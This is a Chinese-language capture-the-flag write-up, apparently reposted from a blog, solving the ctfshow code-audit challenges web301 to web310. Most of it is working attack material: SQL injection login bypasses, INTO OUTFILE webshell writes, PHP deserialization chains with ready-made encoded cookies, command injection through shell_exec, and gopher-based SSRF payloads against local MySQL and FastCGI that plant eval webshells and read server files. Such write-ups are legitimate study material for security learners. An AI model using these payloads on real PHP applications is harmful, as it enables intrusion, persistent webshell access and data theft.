web301
在 checklogin.php 里的 sql 无任何验证
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
直接利用如下语句即可登录
userid=1' union select 1%23&userpwd=1
2、直接用 sqlmap 跑也能账号密码 admin/ctfshowwwww ,登录即可拿到 flag。
3、写 shell
userid=1' union select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/air.php'%23&userpwd=1
web302
修改的地方:
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
登录时判断了被 sds_decode() 处理后的密码是否和查询出来的密码一致。
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
追踪 sds_decode() 到 fun.php,可以自己运行一下得到 admin 被处理后的值。
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode('admin');
?>
构造 payload:
userid=1' union select '27151b7b1ad51a38ea66b1529cde5ee4'%23&userpwd=admin
此题也还可以用写 shell 的形式:
userid=1' union select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/air.php'%23&userpwd=1
web303
由 checklogin.php 可知虽然存在 sql 注入漏洞,但是被限制了长度导致没法使用
$username=$_POST['userid'];
if(strlen($username)>6){
die();
}
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
登录时判断了被 sds_decode() 处理后的密码是否和查询出来的密码一致。
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
追踪 sds_decode() 到 fun.php,可以自己运行一下得到 admin 被处理后的值。
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode("admin");
?>
结合 sds_user.sql 文件可知密码就是 admin 。
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
用 admin/admin 进行登录即可。
发现 dptadd.php 文件也存在 insert 注入,前提就是得先登录。
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
而 dpt.php 则是显示结果。
构造 payload:
dpt_name=1%27,sds_address=(select database())
dpt_name=1%27,sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())
dpt_name=1%27,sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')
dpt_name=1%27,sds_address=(select group_concat(flag) from sds_fl9g)
web304
增加了全局 waf
function sds_waf($str){
return preg_match('/[0-9]|[a-z]|-/i', $str);
}
好像 waf 未生效,还是 web303 的payload:
dpt_name=1%27,sds_address=(select database())
dpt_name=1%27,sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())
dpt_name=1%27,sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag')
dpt_name=1%27,sds_address=(select group_concat(flag) from sds_flaag)
web305
在 fun.php 里多了个 sds_waf,注入应该是不行了。
function sds_waf($str){
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}
多了一个 class.php 文件
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
在 checklogin.php 文件有一个反序列化的点
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
构造 payload:
<?php
class user{
public $username;
public $password;
}
$a = new user();
$a->username = '1.php';
$a->password = '<?php eval($_POST[1]);?>';
echo serialize($a);
对序列化结果进行 url 编码一下,在 Cookie 处传 payload 如下:
user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%3F%3E%22%3B%7D
可借助蚁剑的数据管理找到 flag。
web306
在 class.php 发现 file_put_contents() 写操作。
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}
}
寻找调用 close() 方法的类,发现在 dao.php 里的 dao 类调用了此方法:
public function __destruct(){
$this->conn->close();
}
我们只要使 conn 指向 log 类的对象即可。
unserialize 操作有两处,不过 login.php 由于没有包含 dao.php 导致反序列化会失败,而 index.php 则是包含了 dao.php 文件:
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));
构造 payload:
<?php
class log{
public $title;
public $info;
}
class dao{
private $conn;
public function __construct($a){
$this->conn = $a;
}
}
$a = new log();
$a->title = '1.php';
$a->info = '<?php eval($_POST[1]);?>';
$b = new dao($a);
echo base64_encode(serialize($b));
去访问 index.php 并在 Cookie 处传入如下值即可生成 1.php 木马文件。
user=TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
网站根目录下有个 flag.php,读取即可。
web307
搜了一下,发现 unserialize 操作有四处。
找可利用点,虽然在 controller/service/dao/class.php 中的 log 类的 closelog() 方法存在 file_put_contents() 写操作,不过没有被调用,无法利用。
发现在 controller/service/dao/dao.php 存在 shell_exec 方法
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
只要修改 cache_dir 使其为恶意语句即可。
寻找调用了 clearCache() 方法的地方,发现 logout.php 处可利用。
require 'service/service.php';
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
logout.php 包含的是 service.php,不过 service.php 包含了 dao.php
require ROOT.'/dao/dao.php';
所以我们可以直接利用 dao 类的 clearCache() 方法,从而调用 shell_exec() 函数。
构造payload:
<?php
class config{
public $cache_dir = ';echo \'<?php eval($_POST[1]);?>\' > 1.php;';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
访问 /controller/logout.php 文件,在 Cookie 传入如下内容
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDE6IjtlY2hvICc8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4nID4gMS5waHA7Ijt9fQ
web308
题目描述:
需要拿shell
上一题的 controller/service/dao/dao.php 处的 dao 类的 clearCache() 方法处的 shell_exec 增加了过滤,应该是无法利用了。
public function clearCache(){
if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
}
发现在 controller/service/util/fun.php 存在 ssrf:
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
发现在 dao.php 里确实存在调用
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
只要修改掉 update_url 的值即可。
发现在 index.php 里可以利用
require 'controller/service/service.php';
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$lastVersion=$service->checkVersion();
}
?>
这里由于我们并不知道 flag 文件在那里,可以借助 gopher:// 去打 mysql 服务,这里借助 gopherus 工具生成
select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'
构造 payload:
<?php
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
访问 index.php,在 Cookie 处传入如下内容即可生成 1.php 一句话木马文件。
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjA6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDUlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjclM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjclMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjclMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjclMDElMDAlMDAlMDAlMDEiO319
web309
题目描述:
需要拿shell,308的方法不行了,mysql 有密码了
方式和 web308 一样,不过是打的 fastcgi,默认端口 9000。可通过 gopher 协议的延迟进行判断。
这里由于我们并不知道 flag 文件在那里,可以借助 gopher:// 去打 fastcgi 服务,这里借助 gopherus 工具生成 payload:
构造 payload:
<?php
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27ls%20-alh%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
访问 index.php,在 Cookie 处传入如下内容即可看到目录列表。
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo1NzQ6ImdvcGhlcjovLzEyNy4wLjAuMTo5MDAwL18lMDElMDElMDAlMDElMDAlMDglMDAlMDAlMDAlMDElMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlRjYlMDYlMDAlMEYlMTBTRVJWRVJfU09GVFdBUkVnbyUyMC8lMjBmY2dpY2xpZW50JTIwJTBCJTA5UkVNT1RFX0FERFIxMjcuMC4wLjElMEYlMDhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMSUwRSUwMkNPTlRFTlRfTEVOR1RINTklMEUlMDRSRVFVRVNUX01FVEhPRFBPU1QlMDlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUlMjAlM0QlMjBPbiUwQWRpc2FibGVfZnVuY3Rpb25zJTIwJTNEJTIwJTBBYXV0b19wcmVwZW5kX2ZpbGUlMjAlM0QlMjBwaHAlM0EvL2lucHV0JTBGJTA5U0NSSVBUX0ZJTEVOQU1FaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDAlM0IlMDQlMDAlM0MlM0ZwaHAlMjBzeXN0ZW0lMjglMjdscyUyMC1hbGglMjclMjklM0JkaWUlMjglMjctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0lMEElMjclMjklM0IlM0YlM0UlMDAlMDAlMDAlMDAiO319
web310
方法一:还是可以用 gopher 去打 fastcgi 写入一句话木马文件
echo "<?php eval(\$_POST[1]);?>" > /var/www/html/shell.php
构造 payload:
<?php
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH110%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00n%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
访问 index.php,在 Cookie 处传入如下内容即可写入shell。
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo2Njk6ImdvcGhlcjovLzEyNy4wLjAuMTo5MDAwL18lMDElMDElMDAlMDElMDAlMDglMDAlMDAlMDAlMDElMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDElMDUlMDUlMDAlMEYlMTBTRVJWRVJfU09GVFdBUkVnbyUyMC8lMjBmY2dpY2xpZW50JTIwJTBCJTA5UkVNT1RFX0FERFIxMjcuMC4wLjElMEYlMDhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMSUwRSUwM0NPTlRFTlRfTEVOR1RIMTEwJTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBuJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3ZWNobyUyMCUyMiUzQyUzRnBocCUyMGV2YWwlMjglNUMlMjRfUE9TVCU1QjElNUQlMjklM0IlM0YlM0UlMjIlMjAlM0UlMjAvdmFyL3d3dy9odG1sL3NoZWxsLnBocCUyNyUyOSUzQmRpZSUyOCUyNy0tLS0tTWFkZS1ieS1TcHlEM3ItLS0tLSUwQSUyNyUyOSUzQiUzRiUzRSUwMCUwMCUwMCUwMCI7fX0=
方法二:尝试读取 nginx 的默认配置文件:
file:///etc/nginx/nginx.conf
构造 payload:
<?php
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a = new dao();
echo base64_encode(serialize($a));
将 $update_url 改为如下值都可以得到 flag。
http://127.0.0.1:4476
file:///var/flag/index.html
参考羽师傅文章:CTFSHOW 代码审计篇
转载请注明出处。 本文网址:https://blog.csdn.net/hiahiachang/article/details/121546514
|